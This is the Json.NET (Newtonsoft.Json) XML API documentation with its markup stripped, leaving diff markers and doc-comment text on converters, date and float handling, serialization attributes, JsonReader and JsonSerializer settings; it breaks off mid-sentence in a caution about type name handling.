+ + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an 